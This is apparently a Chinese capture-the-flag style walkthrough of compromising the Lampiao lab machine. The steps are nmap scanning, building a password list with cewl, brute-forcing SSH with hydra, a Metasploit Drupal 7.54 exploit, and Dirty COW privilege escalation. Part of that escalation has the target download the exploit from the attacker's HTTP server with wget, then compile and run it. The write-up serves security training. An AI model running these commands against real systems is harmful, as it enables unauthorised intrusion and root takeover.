- 环境搭建
- 信息收集
- 探测存活主机
- nmap -sP 192.168.244.0/24
- 扫描该主机开放的端口
- 访问端口
- 80端口,没有有用信息
- 1898端口,一个有意思的网站首页
- 随便点点,看到页面有1和3但是没有2,手动更改为2,发现了两个文件
- 尝试访问,这个音频告诉了我们用户名tiago,图片是一个二维码,扫描之后,出现一句话:Try harder! muahuahua
- 还有一个注册功能,但是无法注册
- 扫描目录
- 访问目录,再次访问,可以看到cms框架是Drupal 7.54
- 去搜索该版本的历史漏洞
- 探测存活主机
- 扫端口时,还开启了一个22端口,我们尝试使用hydra爆破ssh服务
- 用户名是已经知道了的tiago,密码我们使用kali自带得到cewl工具爬去一下,cewl+url地址
- cewl http://192.168.244.163:1898/?q=node/1 -w passwd.txt
- 爆破:hydra -l tiago -P passwd.txt 192.168.244.163 ssh
- 登录ssh:ssh tiago@192.168.244.163,只是普通用户权限
- 想办法进行提权,查看Drupal 7.54版本的历史漏洞
- 利用msf搜索Drupal漏洞模块
- use 1,设置目标IP和目标端口
- 执行shell命令,获取伪终端
- 再执行python -c 'import pty; pty.spawn("/bin/bash")'获取到真终端
- 但是权限仍然很低,与ssh登录的用户权限相差无几
- 使用uname -a 查看靶机的版本
- 搜索脏牛提权影响的ubuntu版本
- 开启一个终端,查看所有脏牛漏洞searchsploit dirty
- 用locate linux/local/40847.cpp来查看他的绝对路径
- 将它复制到桌面上cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/Desktop
- 再次开启一个终端,用python开启本地http服务python3 -m http.server 8083,注:要在保存文件的目录下开启http服务
- 在靶机上通过wget命令去下载我们开启http服务上的40847.cpp的文件http://192.168.244.128:8083/40847.cpp
- 将40847.cpp文件进行编译g++ -Wall -pedantic -O2 -std=c++11 -pthread -o qwe 40847.cpp -lutil
- -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
- -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
- -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
- -std=c++11就是用按C++2011标准来编译的
- -pthread 在Linux中要用到多线程时,需要链接pthread库
- -o xiaoli gcc生成的目标文件,名字为xiaoli
- 执行gcc编译可执行文件,可直接提权。
- 用./qwe将改文件执行,可以看到root用户的密码为dirtyCowFun
- 切换为root用户,查看flag
Lampiao黑盒渗透
最新推荐文章于 2024-10-03 23:14:19 发布